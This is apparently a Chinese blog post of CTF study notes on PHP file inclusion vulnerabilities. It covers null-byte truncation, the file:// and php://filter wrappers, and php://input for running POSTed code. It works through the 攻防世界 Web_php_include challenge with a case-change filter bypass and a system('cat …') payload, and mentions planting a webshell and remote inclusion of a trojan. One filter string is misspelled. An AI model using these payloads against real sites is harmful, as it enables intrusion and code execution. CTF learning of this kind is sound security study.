文件包含漏洞

定义

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

危险函数: include() , include_once() , require() , require_once().

解题思路

        本地文件包含: 直接读取目标机上的Flag文件.

        远程文件包含:指定第三方服务器上可运行的PHP木马,拿到webshell,查看Flag文件.

判断本地文件包含与远程文件包含方法:

       查看php全局配置文件php.ini

        1. allow_url_fopen = on/off  允许URLs像files对象一样被打开

        2. allow_url_include = on/off 允许包含URL 对象文件.   才可以使用远程文件包含.

本地文件包含:

<1>直接包含内有Flag的文件.

        利用:http://www.example.com/demo1.php? file=flag.php%00

        这段代码相当于: include '/home/www/flag.php%00.php'

        字符串截断技巧: 结束符的 \x00-->%00.

<2>通过PHP伪协议读取代码中的Flag.

        PHP伪协议:

                  1.file://  访问本地文件系统,在CTF比赛中常用来读取本地文件.

                        用法: file:// [文件的绝对路径和文件名]

                        条件(php.ini) : allow_url_fopen = off/on

                                               allow_url_include = off/on  on off 都可.

                        eg: http://www.example.com/index.php?file=file://D:/PhpStudy/WWW/flag.txt

                  2.php://  访问各个输入/输出流.

                        php://filter

                        用法:读取网页源代码.

                        条件(php.ini) : allow_url_fopen = off/on

                                               allow_url_include = off/on  on off 都可.

                      ini无法获取的话,可以利用:(如果不是base64编码,就会当成php执行,就看不到原码了)

                         file=php://filter/read=convert.base-64-encode/resource=index.php

                         拿burp decode一下,就看见源码了。

                          前面文章buuctf web真题1 里有此例题include。

                        PHP://input

                        用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.

                        条件(php.ini) : allow_url_fopen = off/on

                                               allow_url_include = on

                                                只要include 开启,就可以当成php代码执行.

例题:攻防世界 Web_php_include

        通过对网站源码进行分析:

        <?php
        show_source(__FILE__);
        echo $_GET['hello'];    //hello变量接受get传参,可以利用hello显示某些内容
        $page=$_GET['page'];//page变量接受get传参
        while (strstr($page, "php://")) {    //检查page变量中是否含有字符串“php://“
            $page=str_replace("php://", "", $page);    //将page变量中的“php://”用空字符串代替
}
        include($page);//文件包含,可以执行page变量中的代码。
?>

由include($page)看出本题的考点在于文件包含,而且通过源码得知php://被过滤了。

        php://被过滤,strstr函数对大小写不敏感,因此我们可以使用PHP://来绕过。所以我们可以使用php://input 来post传递恶意代码,来输入命令给服务端。

发现了fl4gisisish3r3.php    index.php   phpinfo.php。

再传输一个指令,查询flag。<?php system("cat fl4gisisish3r3.php")?>,得到flag.

<3>写入PHP木马获取webshell,查看Flag.

这个可以直接看见源码的,可以查看一下php.ini,发现include on,fopen off.可用php伪协议

 http://----------/index.php/file=php://input

后通过hackbar post我们的shell。

之后就可以利用菜刀链接shell了。

远程文件包含:

        指定第三方服务器上可运行的php木马,拿到webshell,查看Flag文件。

例如查看源码可看见require_once.

访问php.ini发现,allow_url_fopen 和include都on,存在远程文件包含.

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值